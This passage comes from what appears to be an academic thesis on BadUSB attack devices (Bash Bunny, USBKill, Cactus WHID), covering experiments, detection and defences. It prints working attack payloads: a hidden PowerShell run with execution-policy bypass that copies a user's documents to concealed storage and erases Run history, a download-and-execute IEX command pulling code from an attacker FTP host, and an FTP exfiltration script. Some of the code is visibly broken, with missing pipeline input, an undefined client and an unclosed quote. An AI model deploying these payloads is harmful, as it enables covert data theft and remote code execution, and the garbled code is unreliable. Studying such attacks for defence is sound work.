Without an external network connection the Rubber Ducky is a somewhat less capable device, since it will be impossible to download an external payload script - making detection much more likely when it must enter the script into the Powershell window character by character.

Targeting confidentiality will also be harder, since it will be much harder (but not impossible) to extract information from an air gapped system.
5.5 Bash Bunny Mk2

5.5.1 Overview

The Bash Bunny Mk2 (hereinafter "Bash Bunny") is made by the same manufacturer (Hak5) as Rubber Ducky, but with a much wider range of capabilities. First and foremost the Bash Bunny is a Linux micro computer running a Quad-Core A7 CPU up to 1.3 GHz with 8 GB of flash based internal storage (SSD). This gives the Bash Bunny the ability to execute programs internally, such as bash scripts, which could affect the targeted system. Apart from sending keystrokes, like the Rubber Ducky, it also include features such as network, GPS and Bluetooth.

One big advantage with the Bash Bunny is that it is possible to load it with an external SD-card, which will be shown to the target OS, while payload can be stored on an internal storage, which is not presented to the OS when the device is armed. If the USB device is put into an external virus scanner it will only see what is put on the SD-card, which should be totally innocent files.

5.5.2 Extended Ducky Script

Apart from adding the ability to run ordinary bash script in the Bash Bunny payload scripts the Bash Bunny adds a few more Ducky Script commands apart from those mentioned in section 5.4.2.

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>#</td>
<td>Comment line</td>
</tr>
<tr>
<td>ATTACKMODE string</td>
<td>Sets the which USB device type(s) the Bash Bunny will emulate. For example <code>HID, STORAGE</code> and <code>SERIAL</code> Can be combined in a number of ways.</td>
</tr>
<tr>
<td>DUCKY_LANG string</td>
<td>Sets the keyboard language (2 char iso language code)</td>
</tr>
<tr>
<td>RUN WIN string</td>
<td>The equivalent of executing the separate command CMD R + STRING <code>string</code> + ENTER</td>
</tr>
<tr>
<td>LED color pattern</td>
<td>Change color of the small LED on the device to a number of predefined colors and solid/blinking pattern</td>
</tr>
</tbody>
</table>

Table 5: Extended Ducky Script language reference of the commands used in this thesis
### 5.5.3 Experiment: Using a Bash Bunny script to steal files from an offline computer

<table>
<thead>
<tr>
<th>Method:</th>
<th>Bash Bunny Mk2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Payload:</td>
<td>Powershell script</td>
</tr>
<tr>
<td>Computer:</td>
<td>Home PC with Windows 11 (patched)</td>
</tr>
<tr>
<td>User:</td>
<td>Logged on local user without administrative privileges³</td>
</tr>
<tr>
<td>Network connection</td>
<td>No</td>
</tr>
<tr>
<td>Firewall:</td>
<td>Windows Firewall⁴</td>
</tr>
<tr>
<td>Antivirus:</td>
<td>Windows Antivirus</td>
</tr>
</tbody>
</table>

#### Scenario

This will simulate an attack on an air-gapped computer, in order to steal the user’s classified office documents and PDFs on that computer. Since the computer will have no network, loot must be extracted in another way. In this case the Bash Bunny’s internal hidden storage will be used.

#### Realisation

The Bash Bunny computer cannot mount (access) the computer’s hard drive, which had been the easiest way to covertly copy the files, using bash script on the Bash Bunny, from the computer to the Bash Bunny’s internal storage. Instead the experiment will utilise that the external SD-card will be shared between the Bash Bunny and the target computer. This will be utilised as a temporary storage, before the Bash Bunny can move the files from the shared space to its internal storage. This needs some scripting on the Bash Bunny as well on the target computer.

---

³The experiment was successful both with and without administrative privileges  
⁴Enabled even though no network was available on the computer
The Bash Bunny will need a payload script that will be executed when the device is inserted into the target computer. This will setup the device and its environment for the attack, secondly it will execute a script on the target computer side to copy all information wanted to the shared storage. Finally the Bash Bunny will clean up all traces of the attack. The thought behind moving the information from the shared storage to the internal storage is to hide as many traces as possible for the user sitting at the target computer. Hiding the information with a Windows hidden folder is not a very water proof protection, since the user might have activated the function to see hidden files and folders in the Windows Explorer.

The script will only look for files in the user’s document folder. Changing the script so it looks on the entire hard drive would be easy, but the script would take longer to execute.

This payload script will be quite similar to the one utilised in the Rubber Ducky experiment (see 5.4), with the addition of some linux bash scripting to control the script execution flow and also some device side cleaning up.
The first iteration scripts when started manually on the target's computer and on the Bash Bunny worked as planned. Put together posed two challenges, first synchronisation on the shared storage and secondly how to start the Powershell script on the target computer.

Firstly, the Bash Bunny did not notice when Windows wrote files to the shared storage and vice versa, this became a real problem when utilising the storage to place a "done-copying-flag" file, to exit the Bash Bunny side loop. The solution was to put a sync bash command inside the waiting loop.

Secondly, the Powershell script cannot be downloaded as in the Rubber Ducky experiment. It must be started somewhere from the shared storage, with the command to start it comes by keyboard input from the Bash Bunny. The problem was that the Bash Bunny has no knowledge which drive letter Windows will assign to the Bash Bunny device, and therefore it cannot know the complete path to the script which will be typed into the Windows Run command. The solution for this was found on the manufacturer’s webpage, using get Powershell command Get-WmiObject to list Windows 32-bit volumes (disks) with disk label as a parameter. If the Bash Bunny shared storage has a unique label this will just return one drive letter, that can be used to find...
the Powershell script. In the experiment the label is set to "MYF" (My Flash) instead of the default "BashBunny".

The Powershell script will be placed in a hidden directory as X:/temp/s1, where X is the Windows assigned drive letter. The loot directory will be named .recovery and placed inside the hidden temp directory.

Final Powershell payload

```powershell
# GET DRIVE LETTER OF THE BASH BUNNY (named MYF)
$BunnyDrive = (get-volume -FileSystemLabel MYF).DriveLetter

# PATH OF HIDDEN TEMP DIRECTORY
$TempPath = $BunnyDrive + ":\temp"

# CREATE LOOT DIRECTY IN THE TEMP DIRECTORY
$LootPath = $TempPath + "\.recovery"
mkdir $LootPath

# GET THE PATH TO THE USER’S PERSONAL FOLDER
$UserPath = $env:userprofile + "\*

# FIND ALL INTERESTING FILES (OFFICE/PDF DOCUMENTS) IN THE USER’S FOLDER
# COPY EACH FILE TO THE LOOT DIRECTORY
foreach { $tf= $LootPath + "\" + $_.fullname.substring($LootPath.length-3); |
    New-Item -ItemType file -Path $tf -force; copy-item $_.fullname -destination\n    $tf -force }

# WRITE A FILE TO THE TEMP DIRECTORY
# THIS WILL SIGNAL TO THE BASH BUNNY SIDE THAT THIS SCRIPT
# IS DONE WITH THE COPYING
$DoneFile = $LootPath + "\done.txt"
New-Item $DoneFile

# REMOVE ALL HISTORY FROM THE WINDOWS RUN COMMAND
Remove-Item \
-Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" \
-Recurse
```
Final Ducky Script

# SET KEYBOARD LAYOUT SWEDISH
DUCKY_LANG se

# ENTER ATTACK MODE USING HID AND STORAGE SIMULATION
ATTACKMODE HID STORAGE
LED R FAST

# MOUNT SHARED STORAGE
udisk mount

# CREATE THE LOOT DIRECTORY
mkdir /root/udisk/temp/.recovery

# Sync file system
sync

# WAIT A FEW SECONDS FOR THE STORAGE TO BE MOUNTED IN WINDOWS
sleep 3

# START THE POWERSHELL SCRIPT ON THE WINDOWS SIDE
RUN WIN powershell -hidden -ep bypass -c ".((gwmi win32_volume -f 'label=''MYF''').name+\ 'temp/pc.ps1')"

# WAIT FOR THE "COPYING DONE-FLAG" FILE TO BE WRITTEN IN THE LOOT DIRECTORY
# THIS IS DONE BY CHECKING IF THE DIRECTORY IS NON EMPTY, EVERY SECOND,
# TO AVOID FILE LOCKS BY CHECKING AN INDIVIDUAL FILE
while [ $(ls -p /root/udisk/temp/.recovery/ | grep -v / | wc -l) == 0 ]
do
sleep 1
# SYNC FILE SYSTEM
sync
done

# CLEAN UP PHASE
# MOVE ALL THE LOOT FROM THE SHARED (MOUNTED ON /ROOT/UDISK)
# INTO THE INTERNAL STORAGE (ROOT/LOOT) IN A NEW
# FOLDER NAMED BY TIMESTAMP
# DELETE THE TEMPORARY LOOT DIRECTORY
mkdir /root/loot/$(date +%Y-%m-%d_%H-%M-%S)
mv /root/udisk/temp/.recovery/* /root/loot/$(date +%Y-%m-%d_%H-%M-%S)
rm -rf /root/udisk/temp/.recovery

# DONE
5.5.4 Risk of detection

It takes about 7 seconds for the Bash Bunny Linux core to boot, and present the target PC with a USB mass storage device. This might rouse some suspicions since an ordinary flash drive usually mounts faster than that.

The HID input speed is also notably slower than the Rubber Ducky, so it’s clearly visible that something is writing to the Windows Run-command line.

Some AV engines might be able to block PowerShell scripts on a USB storage and since the Bash Bunny will carry the script on the SD-card this will stop the attack from being executed on the target side.

5.5.5 Protection against the attack

HID verification, like for the Rubber Ducky, would prevent the device to execute the target side script.

Implementing an AV policy that blocks the execution of scripts from a mass storage devices. Though it is unclear if this is possible to implement using commercially available AV engines.

5.5.6 Other observations

The synchronisation between the public and the private storage does not seem to be reliable. Using a sync command does not always seem to update the file system in Windows. It is not clear if this problem is caused by the Bash Bunny or in Windows.

5.5.7 Assessment

The possibility to run Linux commands/programs on the Bash Bunny gives it the means to do more advanced hacks than the Rubber Ducky, and also some realistic ways to attack air gapped systems.
5.6 USBKill

5.6.1 Overview

The USBKill is somewhat of a special case of BadUSB, since it’s not a hacking tool so much as a destructive tool that can be used as a DoS (Denial of Service) attack against a targeted system. The USBKill releases a powerful electric current into the target’s USB port, with the goal to damage or destroy the electronics inside, and therefore preventing the use of the target, which can be anything with a USB port (computer, SCADA system, network equipment, ...). Since it does not contain any code it will be totally OS/hardware agnostic.

The device can wait for a trigger before it attacks by releasing the electric current. Depending on the model of device the trigger can be physical (a magnet ring), timed or remote (by a remote or a smartphone). The experiment was conducted by the USBKill v4 Basic, which only has the magnetic trigger. Having an internal battery the USBKill v4 Basic can be charged in advance, and then attack a target that is switched off. Since it requires the magnetic trigger, it is safe to charge it in any USB port[21].

5.6.2 Known limitations

None

5.6.3 Experiment: Using a USBKill to DOS a computer

<table>
<thead>
<tr>
<th>Method</th>
<th>USBKill v4 Basic</th>
</tr>
</thead>
<tbody>
<tr>
<td>Payload</td>
<td>Electric current</td>
</tr>
<tr>
<td>Target</td>
<td>Asus Q87T motherboard</td>
</tr>
<tr>
<td></td>
<td>Intel i5 4660 CPU</td>
</tr>
<tr>
<td></td>
<td>Corsair 16 MB RAM</td>
</tr>
</tbody>
</table>

Scenario

In this experiment the goal is to stop a computer from working, in order to achieve a DoS of whatever service the computer is responsible for.

5.6.4 Realisation

While waiting for a signal to release the electric charge the USBKill charges its internal battery. When connected to an external DC power source it consumes about 50mA at 5.0V (see figure 7). This amounts to about 250mW, where the
USB 2.0 standard can provide up to 2.5W (5V with max current of 500mA)[1, p. 377].

Figure 7: Power consumption of USBKill at standby
Before connecting the USBKill to a computer it was connected to an oscilloscope and triggered, in order to see the output generated. This was repeated several times, with the same result.

![Oscilloscope Measurement](image.png)

Figure 8: Measurement of a USBKill electric pulse

The measurements showed the generated pulse of about -212V at 8.3Hz (see figure 8) which correlates well with the manufacturer specifications of -215V and 8Hz. ATX motherboards are designed to internally handle currents varying from -13.2V up to 12.6V\(^2\), sending in 200 V will most likely damage a wide range of components on the motherboard.

When inserted to a COTS PC motherboard (Asus Q87T), running a linux operating system, the USBKill does not identify itself as a USB device in any way, this is because it does not contain a USB chipset. When the pulse was triggered the visible signs was that screen turned black and the CPU fan stopped spinning. Several attempts to start the motherboard again failed. The CPU, fan and RAM were moved to another (identical) motherboard and the setup worked again, indicating that only the motherboard was damaged by the pulse. This may vary with the brand and design of the motherboard, for which more experimentation would be needed.

No visible damage was seen on the motherboard, and since the motherboard did not start in any way it was not possible to get an error message on a screen or by sound. This makes it hard, without advanced equipment, to see exactly what was damaged on the motherboard.
Figure 9: Setup for the USBKill experiment
5.6.5 Risk of detection

Since the USBKill doesn't contain a USB chipset it will not identify itself as a USB device. So if the user puts the device into a computer, nothing will happen - which might rouse suspicions if the user expects a flash drive to pop up in the OS. On the other hand, if triggered directly on insertion it will be too late to stop the attack.

5.6.6 Protection against the attack

Since the USBKill is not malware none of the protective measures mentioned in section 3.2 will help. The only way to protect the hardware is by designing the hardware to withstand the electric pulse or for instance using optocouplers. Mac computers are rumoured to withstand USBKill, but for this experiment no Mac computer was available (risking permanent destruction).

5.6.7 Other observations

None.

5.6.8 Assessment

Looks and feels like a genuine USB flash drive. Because it is such a straightforward attack, requires a minimum of knowledge of the target system and is instantaneous, it will probably have a high chance of success.
5.7 Cactus WHID

5.7.1 Overview

The Cactus WHID (Wi-Fi HID Injector) is an Atmega 32u4 microcontroller with an ESP-12s chip for Wi-Fi capacity. The default firmware installed is called ESPloit, though it’s possible to flash and use other firmwares. The device with this firmware is basically a more advanced Rubber Ducky, with the capability to be remotely controlled via a RNDIS network connection (see section 4.1.3). The remote control can be used for executing a payload, or to enter keystrokes manually. The device can run as its own Wi-Fi access point (with a hidden customisable SSID) or join an existing network (possibly with Internet access).

Used in the access point mode the device could make it possible to exfiltrate data from an air gapped network, provided that the attacker would be physically close enough to pick up the Wi-Fi signal from the device.

If the device can join an existing Wi-Fi and that network has an Internet connection an attacker could remotely control the device though a web interface that will be connected to the local network. To be able to obtain the Wi-Fi credentials the attack used in the Rubber Ducky experiment (see section 5.4.4) could be used before this attack.

The Cactus WHID/ESPloit uses a custom scripting language for writing payload, much with the same capability as Ducky Script but with a different syntax.
### 5.7.2 ESPloit Script

Note: ESPloit script is case sensitive (while Ducky Script is not)

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
<th>In Ducky Script</th>
</tr>
</thead>
<tbody>
<tr>
<td>Rem:</td>
<td>Comment line</td>
<td>REM</td>
</tr>
<tr>
<td>Print: <em>string</em></td>
<td>Will send the string to the keyboard buffer</td>
<td>STRING</td>
</tr>
<tr>
<td>PrintLine: <em>string</em></td>
<td>Will send the string to the keyboard buffer + the Enter key</td>
<td>STRINGLN</td>
</tr>
<tr>
<td>PressX: <em>number</em></td>
<td>Will send the ASCII character to the keyboard buffer. The number 82 would send a capital R</td>
<td>N/A</td>
</tr>
<tr>
<td>PressX+Y: <em>number</em></td>
<td>Will send 2 ASCII character simultaneous to the keyboard buffer. Press:131+82 would send the Windows Key + a capital R (ie starting the Windows Run prompt)</td>
<td>N/A</td>
</tr>
<tr>
<td>MouseMoveUp: <em>number</em></td>
<td>Will send a mouse movement of <em>number</em> pixels to the mouse in the specified direction</td>
<td>N/A</td>
</tr>
<tr>
<td>MouseMoveDown: <em>number</em></td>
<td></td>
<td>N/A</td>
</tr>
<tr>
<td>MouseMoveLeft: <em>number</em></td>
<td></td>
<td>N/A</td>
</tr>
<tr>
<td>MouseMoveRight: <em>number</em></td>
<td></td>
<td>N/A</td>
</tr>
<tr>
<td>MouseClickLEFT:</td>
<td>Will send a mouse click to the mouse buffer</td>
<td>N/A</td>
</tr>
<tr>
<td>MouseClickRIGHT:</td>
<td></td>
<td>N/A</td>
</tr>
<tr>
<td>MouseClickMIDDLE:</td>
<td></td>
<td>N/A</td>
</tr>
<tr>
<td>BlinkLED:X</td>
<td>LED</td>
<td></td>
</tr>
<tr>
<td>DefaultDelay: <em>number</em></td>
<td>Set the delay between each command (except this) to a number of milliseconds</td>
<td>N/A</td>
</tr>
<tr>
<td>Delay</td>
<td>Wait one standard delay</td>
<td>N/A</td>
</tr>
</tbody>
</table>

Table 6: ESPloit language reference of some useful commands, with corresponding commands in Ducky Script
5.7.3 Known limitations

The Cactus WHID has a very limited internal storage of only 4 MB, which makes it hard to extract data by storing it on the device. Storing data can be done in a number of ways, like FTP, serial port and http. Looking at example payloads the intentions seems to be that the storage for loot is restricted to information that can be stored in text format, like credentials data.

5.7.4 Experiment: Using a Cactus WHID to exfiltrate classified information via Wi-Fi

<table>
<thead>
<tr>
<th>Payload:</th>
<th>Manually triggered ESPloit/Powershell script</th>
</tr>
</thead>
<tbody>
<tr>
<td>Computer:</td>
<td>Home PC with Windows 10 (patched)</td>
</tr>
<tr>
<td>User:</td>
<td>Logged on local user without administrative privileges</td>
</tr>
<tr>
<td>Network connection:</td>
<td>No</td>
</tr>
<tr>
<td>Firewall:</td>
<td>Windows Firewall</td>
</tr>
<tr>
<td>Antivirus:</td>
<td>Windows Antivirus</td>
</tr>
</tbody>
</table>

Scenario

In the scenario a Cactus WHID is inserted into the target computer, preferably somewhere hidden (like in a USB hub, in an external display or similar) since the device will present no mass storage or other useful feature to the user, which means that the user would probably remove the device soon after being inserted. The attacker will then connect to the internal access point of the device to execute the payload in order to extract the loot.

Realisation

The plan for the realisation was to utilise two computers - one as target and one as an attacker, and connect to the Cactus WHID access point while the imaginary user went for a coffee without locking the target computer. When connected to the device the plan was to manually execute a PowerShell script much like the one used for the Bash Bunny experiment (see section 5.5.3) to collect useful private documents. But instead of storing the documents inside the device they will be sent by FTP to to the attacker’s computer, which is running a local FTP server.

The Cactus WHID will setup an access point on 192.168.111.1 and the attacker’s computer will set up the FTP server on the fixed IP address 192.168.111.2, using port 80 instead of the normal port 21. This is in case the target computer has a firewall rule blocking FTP on its standard port. The web browsing port 80 would more likely not be blocked, even on an air gapped network. If the attacker’s computer is not running a local web server changing ports will not be a problem.

Unfortunately this experiment was not completed. During the experiment two devices broke down and became impossible to communicate with - likely
due to static electricity or poor quality in general. So a comprehensive test was not possible to be finalised, but each step was tested separately and found working.

**Final Powershell payload**

This script file is stored on the attacker’s computer FTP server as ftp://192.168.111.2:80/Public/ftp.ps1

```bash
# SET THE PATH TO THE FTP SERVER, INCLUDING LANDING DIRECTORY  
# THE FTP SERVER IS SET UP ON THE ATTACKERS COMPUTER  
$ftpPath = "ftp://192.168.111.2:80/Public/"

# SET UP AND CONNECT A WEB CLIENT FOR FTP TRANSFERS  

# GET THE PATH TO THE USER'S PERSONAL FOLDER  
$UserPath = $env:userprofile + "\"

# FIND ALL INTERESTING FILES (OFFICE/PDF DOCUMENTS) IN THE USER'S FOLDER  
# UPLOAD EACH FILE TO THE FTP SERVER  
  $uploadPath = $ftpPath + $_.name.replace("","/");
  $ftpClient.UploadFile($uploadPath, $_.FullName)
}

# REMOVE ALL HISTORY FROM THE WINDOWS RUN COMMAND  
Remove-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Recurse

**Final ESPloit Script**

The payload will be executed manually through the ESPloit web interface at a suitable time

Rem:Send the keys for executing a windows run-command (Windows button + R) Press:131+114

Rem:Start a new (hidden) Powershell with the command download the contents of a file, Rem:Then interpret the contents as a powershell command and execute it (IEX)  
PrintLine:powershell -ep bypass -nop -w hidden  
-nc IEX (\  
  (New-Object System.Net.Webclient).\  
  DownloadString('ftp://192.168.111.2:80/Public/ftp.ps1')\  
);
5.7.5 Risk of detection

When inserted into the target computer the device will not present itself as a mass storage device, so if the user expects a thumb drive to appear he or she might be suspicious or believe that the device is faulty. Thus removing the device before an attacker can execute an attack remotely.

If used when a user is in front of the target computer it is most likely that the user will see the HID input being written on the screen. This is the same risk as for the Rubber Ducky and the Bash Bunny used earlier. An advantage with the Cactus WHID is that it can be triggered remotely, and not as soon as it is inserted into the target computer, as with the Rubber Ducky. Ideally the device would be activated at a moment when the user does not look at the screen or is away from the computer. The problem for the attacker would be to know when the user is not paying attention to the computer, without the ability to see the physical workplace.

5.7.6 Protection against the attack

Implementing a policy where no USB devices are allowed to be connected when the user isn’t at the computer would prevent the possibility to remotely trigger the attack without the user being able to see it.

Locking the computer, when leaving it, would make it harder to remotely attack it - since the attacker then would have to know the user’s logon credentials. Auto starting a screensaver after a short period of inactivity could also mitigate the risk of a successful attack.

Using a 2FA logon method, like a smart card, and removing the smart card as soon as the user leaves the computer would totally prevent this attack vector.

5.7.7 Other observations

One notable feature with the ESPloit scripting language is that it also can be used to move the mouse, and click the mouse buttons. This might be useful if used to trigger graphical applications with no keyboard shortcuts like the mouse-only-feature of giving a user administrative access.

Figure 12: Windows 10 administrative access
5.7.8 Assessment

The size, look and feel of the device very much looks like an ordinary thumb drive. The price (around USD 20) along with the flexible remote access possibilities makes it a very affordable and versatile hacking tool.

As mentioned in the realisation section two separate devices were destroyed during the experimentation, likely by static electricity as caution of this is mentioned on several places on the Internet including the web shop where it is sold. This sensitivity makes the device less reliable from an attacker standpoint.

The Cactus WHID would benefit strongly by adding a mass storage area (much like the Rubber Ducky), so that a user would be posed to letting the device stay in the target computer for an extended period of time, for instance by using it to store active documents that the user is working on.
6 Discussion

6.1 Why are systems being hacked in the first place?

There are a multitude of reasons for hacking into a system, ranging from economic to political motives, where the attacker can be an individual, a group or a large organisation. There can be as many motives as there are actors.

6.2 What is the advantages with BadUSB compared to other hacking methods?

One defining advantage is that it is possible to attack air-gapped networks, which usually are of a highly sensitive nature (military, research, critical infrastructure, etc). Another advantage is that the most common protection seems to be focused around network based incoming threats like e-mail, firewalls, and such.

6.3 Is there any easy ways to protect oneself against BadUSB attacks?

The easiest way to protect oneself against BadUSB attacks is to exercise caution and restraint when using unknown USB devices. With the right information and training this can easily be implemented at a user level.

One important policy change would be to disable PowerShell access for non-administrators, which can be done through Windows GPO. Windows GPO are groups of policies, for instance security policies, that can apply to users or computers/servers in a Windows network[23]. This will make it harder, but far from impossible, to use the devices in this thesis for attacking the computer. This only works for Windows 10 and above.

Taking Windows GPO one step further would be to completely disable the use of USB ports. At the moment this seems only to be applicable to different types of, or all, mass storage devices, So enabling this policy would not help against HID and Wi-Fi attacks. This would be an interesting area to study more.

From a software level standpoint it would be very interesting to explore the options of adding increased protection against adding HID devices, either via policies/options in the OS or from a third party software. This could also be a subject for future experimentation and exploration.

Some, mostly governmental and military, organisations use dedicated hardware (USB cleaning devices) to scan, copy and filter information on USB mass storage devices[24]. When copying just the files from an unknown source (could be BadUSB) to a known media (under the organisation’s control) the risk for BadUSB attacks is severely reduced, since all USB media allowed for use are known. Just scanning the devices would not work against the Bash Bunny attack though, since it presents a "fake" clean mass storage device. With the scan and copy approach all experiments in this thesis would fail.
6.4 Is BadUSB a realistic cyber security threat?

The commercially available BadUSB devices tested in this thesis seem to work quite well as a hacking tool, especially towards Windows computers, from a technical point of view. What is harder to evaluate is the social aspect of the device, would users actually insert the device in the target computers. One notable experiment showed that it was a 45-95% chance that users actually inserting USB devices found on the ground of a university campus[25]. It could be that university students have less security awareness than other people, but that should be investigated further.

More experimentation should be done with other operating systems, to see if Linux and Mac computers are as vulnerable as the Windows computers tested in this thesis. This would also mean trying another scripting language than Powershell, bash for instance.

To increase the chances of a successful attack on a real life high value target I assess that the form factor of the device is important. If disguising as a thumb drive, the device should look like a thumb drive (the Bash Bunny notably stand out in the experiment being too big to pose as a normal thumb drive). If posing as a mass storage device, the device should also identify as such to not rouse unnecessary suspicions. Another way of hiding in plain sight would be to make the BadUSB device not posing as a thumb drive but something else, something that a user normally would put into the computer without much extra thought. This could be a peripheral that needs USB power, but doesn’t identify as a mass storage device, like a desk fan, a charging cable or a mug warmer. The bigger peripheral, the more USB chipsets and other components will fit inside. As shown in the experiments a device that stays connected over time in the target computer is also better from several aspects; it gives the attack more time to work and it gives the option of the attack being executed when the user is not in front of the computer.

7 Conclusions

After experimenting with just a few COTS BadUSB products it’s clear that the technology works from a technical standpoint. During the months of writing this thesis a number of innovative new BadUSB products have been introduced on the market[26].

It is also clear that there exists incentives for using BadUSB as a hacking method, for both state controlled actors and criminal organisations.

The final conclusion, also backed by the real life history of such attacks[7], is that BadUSB is definitely a realistic threat, especially if the attacker has the time and budget to tailor the payload and the device that will deliver the payload.
List of Figures

1 Available connectors for different USB standards (source Wikipedia) 15
2 Hak5 Rubber Ducky ................................................. 20
3 Hak5 Bash Bunny Mk2 .............................................. 26
4 Schematics of the Bash Bunny storage setup .................. 28
5 Flowchart of the payload scripts on both sides ............... 29
6 USB Kill v4 Basic .................................................... 33
7 Power consumption of USBKill at standby .................... 34
8 Measurement of a USBKill electric pulse ...................... 35
9 Setup for the USBKill experiment ............................. 36
10 Cactus WHID ....................................................... 38
11 ESPloit web interface ............................................. 38
12 Windows 10 administrative access ......................... 42
References


